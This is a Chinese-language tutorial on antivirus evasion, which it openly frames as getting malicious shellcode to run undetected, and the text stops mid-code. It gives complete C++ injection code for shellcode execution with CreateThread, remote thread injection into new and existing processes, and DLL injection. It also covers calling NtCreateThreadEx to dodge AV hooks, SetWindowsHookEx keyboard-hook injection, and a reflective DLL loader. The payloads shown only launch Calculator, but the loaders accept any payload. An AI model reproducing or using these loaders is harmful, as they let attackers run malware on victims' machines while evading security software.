免杀的最终目的:使用各种办法,让自己的恶意shellcode运行
CreateThread
在当前进程中创建新线程,执行shellcode,无法隐藏自己的进程
步骤:
- 申请一段内存空间
- 复制shellcode到申请的内存空间
- 改变这段内存空间的属性为可执行
- 创建线程,线程执行的起始地址为shellcode的起始地址
- 运行该线程
#include <iostream>
#include <Windows.h>
// 弹出计算器shellcode
unsigned char data[] = {
0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b,
0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b,
0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe,
0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 0x81, 0x3c, 0x07, 0x57,
0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48,
0x01, 0xf7, 0x99, 0xff, 0xd7
};
int main()
{
// 申请一段RWX的内存段
LPVOID lpvAddr = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将shellcode移动到申请的内存
RtlMoveMemory(lpvAddr, data, sizeof(data));
if (lpvAddr != NULL) {
// 创建线程并运行线程
HANDLE s = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpvAddr, data, 0, 0);
// 等待线程执行完毕,否则主进程会退出
WaitForSingleObject(s, INFINITE);
}
}
ThreadHijacking
注入自己的进程
线程劫持,总体的思路是新创建一个进程(正常应用程序),在新进程中创建远程线程,规避对进程表的查询
步骤:
- 创建STARTUPINFO和PROCESS_INFORMATION结构体
- 初始化STARTUPINFO结构体
- 创建新进程(必须指定CREATE_SUSPENDED【挂起主线程】和EXTENDED_STARTUPINFO_PRESENT【可以指定拓展的STARTUP结构体】
- 从PROCESS_INFORMATION获取新进程的HANDLE
- 在新进程中创建一块RWX的内存区域
- 向内存区域中写入shellcode
- 创建远程线程,并将线程起始地址指向shellcode的地址
#include <iostream>
#include <Windows.h>
// 弹出计算器shellcode
unsigned char data[] = {
0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b,
0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b,
0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe,
0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 0x81, 0x3c, 0x07, 0x57,
0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48,
0x01, 0xf7, 0x99, 0xff, 0xd7
};
int main()
{
SIZE_T size = 0;
// 创建STARTUPINFOEXA结构体,在创建进程的时候会根据这个结构体进行创建
STARTUPINFOEXA si;
// 创建PROCESS_INFORMATION结构体,创建进程结束后,CreateProcess会将新进程的信息放到这个结构体中
PROCESS_INFORMATION pi;
// 初始化STARTUPINFOEXA
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(STARTUPINFOA); // cb代表结构体的大小,用sizeof计算整个结构体的大小
si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); // 初始化线程的属性,这里初始化了一条线程的属性
BOOL success = CreateProcessA(
NULL,
(LPSTR)"C:\\Program Files\\WindowsApps\\Microsoft.WindowsNotepad_11.2209.6.0_x64__8wekyb3d8bbwe\\Notepad\\Notepad.exe",
NULL,
NULL,
true,
CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, // 创建后暂停主线程,并且使用拓展的STARTUPINFO进行创建
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&si),
&pi
); // 创建进程
HANDLE calcHandle = pi.hProcess; // 获取新进程的Handler
LPVOID remoteBuffer = VirtualAllocEx(calcHandle, NULL, sizeof(data), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); // 在新进程分配一段内存空间
if (remoteBuffer == NULL) {
DWORD errCode = GetLastError();
std::cout << errCode;
return 1;
}
WriteProcessMemory(calcHandle, remoteBuffer, data, sizeof(data), NULL); // 将shellcode写入到新进程中
HANDLE remoteThread = CreateRemoteThread(calcHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); // 创建一个远程线程在新进程中执行shellcode
if (WaitForSingleObject(remoteThread, INFINITE) == WAIT_FAILED) {
return 1;
}
if (ResumeThread(pi.hThread) == -1){
return 1;
}
}
向其他进程注入
上面的代码是自己创建进程之后在新进程中创建远程线程,第二种方式是通过OpenProcess获取其他进程的HANDLE,对其他进程CreateRemoteThread,这种方式需要有权限获取inject进程的HANDLE
步骤:
- 通过OpenProcess获取远程进程的Handle
- 在远程进程分配内存
- 将shellcode写入到内存中
- 创建远程线程,执行shellcode
#include <iostream>
#include <Windows.h>
// 弹出计算器shellcode
unsigned char data[] = {
0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b,
0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b,
0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe,
0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 0x81, 0x3c, 0x07, 0x57,
0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48,
0x01, 0xf7, 0x99, 0xff, 0xd7
};
int main()
{
DWORD procID = 12276; // 希望注入的进程ID
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, false, procID); // 获取进程对应的HANDLE
if (hProc == NULL) {
DWORD errCode = GetLastError();
printf("Error open process %d: 0x%x\n", procID, errCode);
return 1;
}
LPVOID buf = VirtualAllocEx(hProc, NULL, sizeof(data), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 在远程进程中分配内存
if (buf == NULL) {
DWORD errCode = GetLastError();
printf("Error allocating memory in remote process:0x%x\n", errCode);
return 1;
}
BOOL success = WriteProcessMemory(hProc, buf, data, sizeof(data), NULL); // 将shellcode复制到远程进程的内存空间中
if (!success) {
DWORD errCode = GetLastError();
printf("Error write remote process memory: 0x%x\n", errCode);
return 1;
}
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buf, NULL, 0, NULL); // 在远程进程中创建远程线程,执行shellcode
if (hThread == NULL) {
DWORD errCode = GetLastError();
printf("Error create remote thread: 0x%x\n", errCode);
return 1;
}
WaitForSingleObject(hThread, INFINITE);
}
DLL Injection
普通DLL注入
CreateRemoteThread
DLL注入可以隐藏恶意的进程
步骤:
- OpenProcess打开想注入的进程(需要有足够的权限)
- 在对应的进程中申请一块RW的内存区域
- 将DLL的路径写入到申请的内存区域中
- 寻找当前进程的kernel32.dll的句柄
- 获取LoadLibraryA函数的地址
- 在被注入的进程中创建远程线程,设置起始地址为LoadLibraryA的地址,并且参数为dll路径所在的内存地址
首先需要准备一个恶意的DLL,这里生成一个弹计算器的DLL
#include "pch.h"
#include <iostream>
int CreateCalc() {
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
STARTUPINFOA si;
ZeroMemory(&si, sizeof(STARTUPINFOA));
si.cb = sizeof(STARTUPINFOA);
BOOL success = CreateProcessA(
NULL,
(LPSTR)"C:\\Windows\\System32\\calc.exe",
NULL,
NULL,
false,
NULL,
NULL,
NULL,
&si,
&pi
);
if (!success) {
printf("create process fail: 0x%x", GetLastError());
return FALSE;
}
return TRUE;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateCalc();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
之后按照上面的步骤对另一个进程注入DLL:
#include <iostream>
#include <Windows.h>
int main()
{
DWORD procID = 47512; // 要注入的进程pid
LPCSTR dllPath = "D:\\visualstudio\\Projects\\CalcDll\\x64\\Debug\\CalcDll.dll"; // DLL文件所在的路径
DWORD dllLen = strlen(dllPath); // 这里一定是strlen函数获取长度,绝对不能用sizeof,不然获取的是指针的长度
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, true, procID); // 打开要注入的进程,获取要注入进程的句柄
if (hProc == NULL) {
printf("open process fail: 0x%x", GetLastError());
return 1;
}
LPVOID buf = VirtualAllocEx(hProc, NULL, dllLen, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 在目标进程的内存空间中申请一段内存,其实只需要RW权限
if (buf == NULL) {
printf("alloc memory fail: 0x%x", GetLastError());
return 1;
}
BOOL success = WriteProcessMemory(hProc, buf, dllPath, dllLen, NULL); // 将DLL的路径写入到申请的内存段中
if (!success) {
printf("write dll path to process fail: 0x%x", GetLastError());
return 1;
}
HMODULE hKernel = LoadLibraryA("kernel32.dll"); // 加载kernel32.dll,获取对应的句柄
if (hKernel == NULL) {
printf("load kernel32.dll fail: 0x%x", GetLastError());
return 1;
}
LPVOID lAddr = GetProcAddress(hKernel, "LoadLibraryA"); // 直接获取当前进程的LoadLibraryA函数的地址,因为kernel32.dll在所有进程的加载地址都是一样的,所以当前进程的LoadLibarayA函数和目标进程的地址是一样的
if (lAddr == NULL) {
printf("get LoadLibrary addr fail: 0x%x", GetLastError());
return 1;
}
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lAddr, buf, 0, NULL); // 创建远程线程,开始执行的地方在LoadLibarayA函数的地址,并且向LoadLibarayA函数传入dll的路径
if (hThread == NULL) {
printf("create remote thread fail: 0x%x", GetLastError());
return 1;
}
DWORD retCode = WaitForSingleObject(hThread, INFINITE); // 等待线程执行完毕
printf("thread exit code is 0x%x", retCode);
return 0;
}
通过Process Explore可以看到CalcDll被加载到目标进程中:
NtCreateThreadEx
由于CreateRemoteThread函数是一个非常高危的函数,被各大AV厂商hook监控,所以使用CreateRemoteThread经常会导致被杀。而CreateRemoteThread的最后也是调用的内核函数NtCreateThreadEx,所以我们可以绕过CreateRemoteThread,直接调用NtCreateThreadEx,从而绕过对CreateRemoteThread的监控
参考如下文章:DLL injection via undocumented NtCreateThreadEx. Simple C++ example.
在win11 64位下,NtCreateThreadEx的函数签名如下:
typedef NTSTATUS(NTAPI* pNtCreateThreadEx) (
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
由于该函数不是一个导出函数,所以我们需要从ntdll中动态拿到该函数的地址,所以使用GetModuleHandler和GetProcAddress拿到NtCreateThreadEx转换位函数指针进行调用
#include <iostream>
#include <Windows.h>
typedef NTSTATUS(NTAPI* pNtCreateThreadEx) (
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
int main()
{
DWORD procID = 37252; // 要注入的进程pid
LPCSTR dllPath = "D:\\visualstudio\\Projects\\CalcDll\\x64\\Debug\\CalcDll.dll"; // DLL文件所在的路径
DWORD dllLen = strlen(dllPath); // 这里一定是strlen函数获取长度,绝对不能用sizeof,不然获取的是指针的长度
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, true, procID); // 打开要注入的进程,获取要注入进程的句柄
if (hProc == NULL) {
printf("open process fail: 0x%x", GetLastError());
return 1;
}
LPVOID buf = VirtualAllocEx(hProc, NULL, dllLen, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 在目标进程的内存空间中申请一段内存,其实只需要RW权限
if (buf == NULL) {
printf("alloc memory fail: 0x%x", GetLastError());
return 1;
}
BOOL success = WriteProcessMemory(hProc, buf, dllPath, dllLen, NULL); // 将DLL的路径写入到申请的内存段中
if (!success) {
printf("write dll path to process fail: 0x%x", GetLastError());
return 1;
}
HMODULE hKernel = LoadLibraryA("kernel32.dll"); // 加载kernel32.dll,获取对应的句柄
if (hKernel == NULL) {
printf("load kernel32.dll fail: 0x%x", GetLastError());
return 1;
}
LPVOID lAddr = GetProcAddress(hKernel, "LoadLibraryA"); // 直接获取当前进程的LoadLibraryA函数的地址,因为kernel32.dll在所有进程的加载地址都是一样的,所以当前进程的LoadLibarayA函数和目标进程的地址是一样的
if (lAddr == NULL) {
printf("get LoadLibrary addr fail: 0x%x", GetLastError());
return 1;
}
pNtCreateThreadEx ntCTEx = (pNtCreateThreadEx)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");
HANDLE hThread;
ntCTEx(&hThread, 0x1FFFFF, NULL, hProc, (LPTHREAD_START_ROUTINE)lAddr, buf, FALSE, NULL, NULL, NULL, NULL);
//HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lAddr, buf, 0, NULL); // 创建远程线程,开始执行的地方在LoadLibarayA函数的地址,并且向LoadLibarayA函数传入dll的路径
if (hThread == NULL) {
printf("create remote thread fail: 0x%x", GetLastError());
return 1;
}
DWORD retCode = WaitForSingleObject(hThread, INFINITE); // 等待线程执行完毕
printf("thread exit code is 0x%x", retCode);
return 0;
}
SetWindowsHookEx
除了常规的创建远程线程的方式注入DLL外,还可以通过Windows本身的消息机制来注册DLL
Windows允许对一些Windows的消息和通知注册不同的处理函数,而这些处理函数必须存在DLL中,所以我们使用Windows的消息Hook来加载想要的DLL
首先需要定义一个DLL,SetWindowsHookEx的DLL内的函数必须是导出的,否则无法成功Hook,这里踩了坑
定义DLL:
#include "pch.h"
#include <iostream>
extern "C" __declspec(dllexport) int CreateCalc() {
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
STARTUPINFOA si;
ZeroMemory(&si, sizeof(STARTUPINFOA));
si.cb = sizeof(STARTUPINFOA);
BOOL success = CreateProcessA(
NULL,
(LPSTR)"C:\\Windows\\System32\\calc.exe",
NULL,
NULL,
false,
NULL,
NULL,
NULL,
&si,
&pi
);
if (!success) {
printf("create process fail: 0x%x", GetLastError());
return FALSE;
}
return TRUE;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Windows支持很多类型的消息类型,而这种方式注入的DLL必须要等待相应的事件触发,支持Hook的事件记录在MSDN的文档中:https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa
注入的主函数非常简答,只需要调用SetWindowsHookEx即可:
#include <iostream>
#include <Windows.h>
int main()
{
HINSTANCE hDLL = LoadLibrary(TEXT("D:\\visualstudio\\Projects\\CalcDll\\x64\\Debug\\CalcDll.dll"));
LPVOID evilProc = GetProcAddress(hDLL, "CreateCalc");
HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)evilProc, hDLL, 0);
if (hHook == NULL) {
printf("set windows hook fail: 0x%.8x", GetLastError());
return 1;
}
Sleep(30 * 1000);
UnhookWindowsHookEx(hHook);
}
这里Hook了WH_KEYBOARD,当键盘按键被按下的时候会触发该事件,当设置Hook之后按下按键即可弹出计算器
反射DLL注入(32位)
一般的DLL注入的方式较为固定,所以一直都被各大AV严密监控,而且平常的DLL注入需要DLL在文件系统中,更是加大了免杀的难度,反射DLL注入通过模拟windows的PE加载器的功能,将DLL直接注入到目标的内存空间内,逃避杀软的检测
主要参考大牛的文章实现:[原创]恶意代码分析之反射型DLL注入
步骤:
- 读取恶意的DLL文件到内存中
- 解析DLL的PE头,分配一块足够大小的内存区域来存储加载后的DLL
- 根据RVA的关系,将整个PE文件展开到内存中
- 找到DLL文件的重定位表,模拟加载器对绝对地址进行重定位
- 找到IAT表,将DLL所依赖的其他DLL加载进内存,并将函数的实际地址写入到IAT中
- 根据PE头的AddressOfEntryPoint执行DLL的main方法
读取DLL进入内存
这一步骤可以非常灵活,这一步可以远程获取加密的DLL内容并解密,将其读取到内存中,这里使用本地文件:
LPCSTR dllPath = "D:\\visualstudio\\Projects\\CalcDll\\Debug\\CalcDll.dll";
// 获取当前exe的加载地址
PVOID imageBase = GetModuleHandle(NULL);
if (imageBase == NULL) {
printf("get image base fail: 0x%x", GetLastError());
return 1;
}
// 读取要注入的DLL的内容
HANDLE dll = CreateFileA(dllPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
if (dll == NULL) {
printf("read dll fail: 0x%x", GetLastError());
return 1;
}
DWORD dllSize = GetFileSize(dll, NULL);
LPVOID heapBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);
DWORD outSize = 0;
ReadFile(dll, heapBuf, dllSize, &outSize, NULL);
if (dllSize != outSize) {
printf("read file fail: size: %d, read: %d: 0x%x", dllSize, outSize, GetLastError());
return 1;
}
分配展开后PE文件的内存
PE文件的文件大小和内存中的映像大小是不一致的,内存中的映像大小保存在NT头的SizeOfImage中,可以通过如下代码获取到映像的大小并在内存中开辟内存区域
步骤:
- 获取DOS头
- 根据DOS头获取NT头
- 通过NT头的OptionalHeader.SizeImage获取映像大小
- 拷贝整个DLL进入内存
// 解析PE文件
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)heapBuf; // 获取DOS的header
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)heapBuf + dosHeader->e_lfanew); // 获取NT的header
DWORD imageSize = ntHeader->OptionalHeader.SizeOfImage; // 获取镜像的大小
// 装载DLL到内存中
LPVOID dllBase = VirtualAlloc(NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 分配一块足够加载DLL的内存区域
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeader->OptionalHeader.ImageBase; // 获取默认加载地址和实际加载地址之间的差值
std::memcpy(dllBase, heapBuf, dllSize); // 将dll整个拷贝到目标地址中
展开PE文件
通过解析PE文件的段表,我们可以在内存中对段进行内存的分配,通过每个段的RVA,我们可以获取到段被加载到内存的地址,通过每个段的PointerToRawData我们可以获取到段在文件中的偏移,基于此,我们可以将PE中的每个段在内存中展开
// 展开整个PE文件
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeader); // 获取第一个节区的地址
for (size_t i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {
// 内存中节区的偏移
LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress); // 获取实际加载的节区地址
// 文件中节区的偏移
LPVOID sectionBytes = (LPVOID)((DWORD_PTR)heapBuf + (DWORD_PTR)section->PointerToRawData); // 获取文件中的节区地址
std::memcpy(sectionDestination, sectionBytes, section->SizeOfRawData); // 将文件中的节区内容复制到内存中
section++; // 切换下一个节区
}
重定位
由于ASLR和加载地址被其他DLL所占据,DLL的重定位是加载中最复杂且最容易出错的地方。
这篇文章讲的很详细:PE文件格式详细解析(六)-- 基址重定位表(Base Relocation Table)
总体的步骤如下(注意全部都是RVA):
- 通过PE的NT头拿到重定位表的地址
- 通过重定位表的RVA找到对应的重定位表
重定位表由多个Block组成,每个Block管理一个内存页的重定位项,通过每个Block的Size,可以遍历所有重定位项的Block,每个重定位项由Offset和Type组成
- 计算需要重定位的硬编码地址
通过如下的计算:重定位地址 = DLL加载基地址 + (当前Block的RVA + 重定位表项的Offset),可以得到内存中需要进行重定位的地址 - 计算实际的地址
通过如下的计算:实际地址 = 内存中硬编码的地址 - 原始DLL加载的地址 + DLL实际加载的地址,将硬编码密钥替换
通过上述的流程将所有的重定位项进行重定位后,重定位的步骤就算完成了
// 开始地址重定位
IMAGE_DATA_DIRECTORY relocations = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
PIMAGE_BASE_RELOCATION relocationBlock = (PIMAGE_BASE_RELOCATION)(relocations.VirtualAddress + (DWORD)dllBase);
while (relocationBlock->SizeOfBlock != NULL)
{
// 一个Block的总大小除以每个重定位项的大小为所有的重定位项的数量
DWORD relocationsCount = (relocationBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(BASE_RELOCATION_ENTRY);
// 找到重定位项的入口
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((DWORD_PTR)relocationBlock + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < relocationsCount; i++) {
if (relocationEntries[i].Type == 0) {
continue;
}
DWORD_PTR relocationRVA = relocationBlock->VirtualAddress + relocationEntries[i].Offset;
DWORD_PTR addressToPatch = 0;
LPVOID addressToReloc = (LPVOID)((DWORD_PTR)dllBase + relocationRVA);
// 读取未重定位以前的绝对地址`
ReadProcessMemory(GetCurrentProcess(), addressToReloc, &addressToPatch, sizeof(DWORD_PTR), NULL);
// 重定位以后的地址
addressToPatch += deltaImageBase;
std::memcpy(addressToReloc, &addressToPatch, sizeof(DWORD_PTR));
}
relocationBlock = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationBlock + relocationBlock->SizeOfBlock);
}
修复导入表
现在我们的DLL的绝对路径的地址已经修正了,但是还有些地址是通过隐式加载的方式调用的,比如系统DLL的很多库函数等,这些函数的地址存放在IAT表中,我们同样需要修复DLL的导入表,以便DLL可以正确调用这些函数
步骤:
- 通过NT头拿到导入表的地址
- 遍历导入表,在导入表中存在Name字段代表了要导入的DLL名称,通过LoadLibrary导入需要的DLL
- 获得FirstThunk也就是IAT表的地址,这个表代表了要导入该模块的所有的函数,遍历IAT表,拿到函数的Ordinal或者名称,调用GetProcAddress获取函数的地址
- 将获取的函数地址填入到IAT表项的Function字段中,即可完成导入表的修复
// 修复导入表
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
IMAGE_DATA_DIRECTORY importsDirectory = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
LPCSTR libraryName = "";
HMODULE library = NULL;
while (importDescriptor->Name != NULL) {
// 获取DLL的名称
libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
library = LoadLibraryA(libraryName);
if (library) {
// 获取IAT的地址
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)((DWORD)dllBase + importDescriptor->FirstThunk);
// 便利INT的项
while (thunk->u1.AddressOfData != NULL) {
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) {
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
}
else {
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
thunk->u1.Function = functionAddress;
}
++thunk;
}
}
importDescriptor++;
}
执行DLL的入口方法
DLL在经过重定位和导入表修复之后就可以运行了,通过NT头拿到程序的入口RVA:AddressOfEntryPoint,所以DLL的入口地址为:入口地址 = DLL加载地址 + DLL入口地址
DLLEntry dllEntry = (DLLEntry)((DWORD_PTR)dllBase + ntHeader->OptionalHeader.AddressOfEntryPoint);
(*dllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
CloseHandle(dll);
HeapFree(GetProcessHeap(), 0, heapBuf);
return 0;
最终通过一个函数指针调用,成功执行DLL
踩的一些坑
- 对指针的运算不熟悉,导致很多时候将结构体指针当作DWORD指针进行操作,导致计算出的指针地址存在很多错误,调试了很久
- 反射DLL注入对位数要求十分严格,指针的大小,DLL的位数,EXE的位数必须完全一致才可以,这里仅仅是32位的DLL进行的尝试
最终的代码
// ReflectDLL.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
using DLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved);
int main()
{
LPCSTR dllPath = "D:\\visualstudio\\Projects\\CalcDll\\Debug\\CalcDll.dll";
// 获取当前exe的加载地址
PVOID imageBase = GetModuleHandle(NULL);
if (imageBase == NULL) {
printf("get image base fail: 0x%x", GetLastError());
return 1;
}
// 读取要注入的DLL的内容
HANDLE dll = CreateFileA(dllPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
if (dll == NULL) {
printf("read dll fail: 0x%x", GetLastError());
return 1;
}
DWORD dllSize = GetFileSize(dll, NULL);
LPVOID heapBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);
DWORD outSize = 0;
ReadFile(dll, heapBuf, dllSize, &outSize, NULL);
if (dllSize != outSize) {
printf("read file fail: size: %d, read: %d: 0x%x", dllSize, outSize, GetLastError());
return 1;
}
// 解析PE文件
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)heapBuf; // 获取DOS的header
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)heapBuf + dosHeader->e_lfanew); // 获取NT的header
DWORD imageSize = ntHeader->OptionalHeader.SizeOfImage; // 获取镜像的大小
// 装载DLL到内存中
LPVOID dllBase = VirtualAlloc(NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 分配一块足够加载DLL的内存区域
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeader->OptionalHeader.ImageBase; // 获取默认加载地址和实际加载地址之间的差值
std::memcpy(dllBase, heapBuf, dllSize); // 将dll整个拷贝到目标地址中
// 展开整个PE文件
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeader); // 获取第一个节区的地址
for (size_t i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {
// 内存中节区的偏移
LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress); // 获取实际加载的节区地址
// 文件中节区的偏移
LPVOID sectionBytes = (LPVOID)((DWORD_PTR)heapBuf + (DWORD_PTR)section->PointerToRawData); // 获取文件中的节区地址
std::memcpy(sectionDestination, sectionBytes, section->SizeOfRawData); // 将文件中的节区内容复制到内存中
section++; // 切换下一个节区
}
// 开始地址重定位
IMAGE_DATA_DIRECTORY relocations = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
PIMAGE_BASE_RELOCATION relocationBlock = (PIMAGE_BASE_RELOCATION)(relocations.VirtualAddress + (DWORD)dllBase);
while (relocationBlock->SizeOfBlock != NULL)
{
// 一个Block的总大小除以每个重定位项的大小为所有的重定位项的数量
DWORD relocationsCount = (relocationBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(BASE_RELOCATION_ENTRY);
// 找到重定位项的入口
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((DWORD_PTR)relocationBlock + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < relocationsCount; i++) {
if (relocationEntries[i].Type == 0) {
continue;
}
DWORD_PTR relocationRVA = relocationBlock->VirtualAddress + relocationEntries[i].Offset;
DWORD_PTR addressToPatch = 0;
LPVOID addressToReloc = (LPVOID)((DWORD_PTR)dllBase + relocationRVA);
// 读取未重定位以前的绝对地址`
ReadProcessMemory(GetCurrentProcess(), addressToReloc, &addressToPatch, sizeof(DWORD_PTR), NULL);
// 重定位以后的地址
addressToPatch += deltaImageBase;
std::memcpy(addressToReloc, &addressToPatch, sizeof(DWORD_PTR));
}
relocationBlock = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationBlock + relocationBlock->SizeOfBlock);
}
// 修复导入表
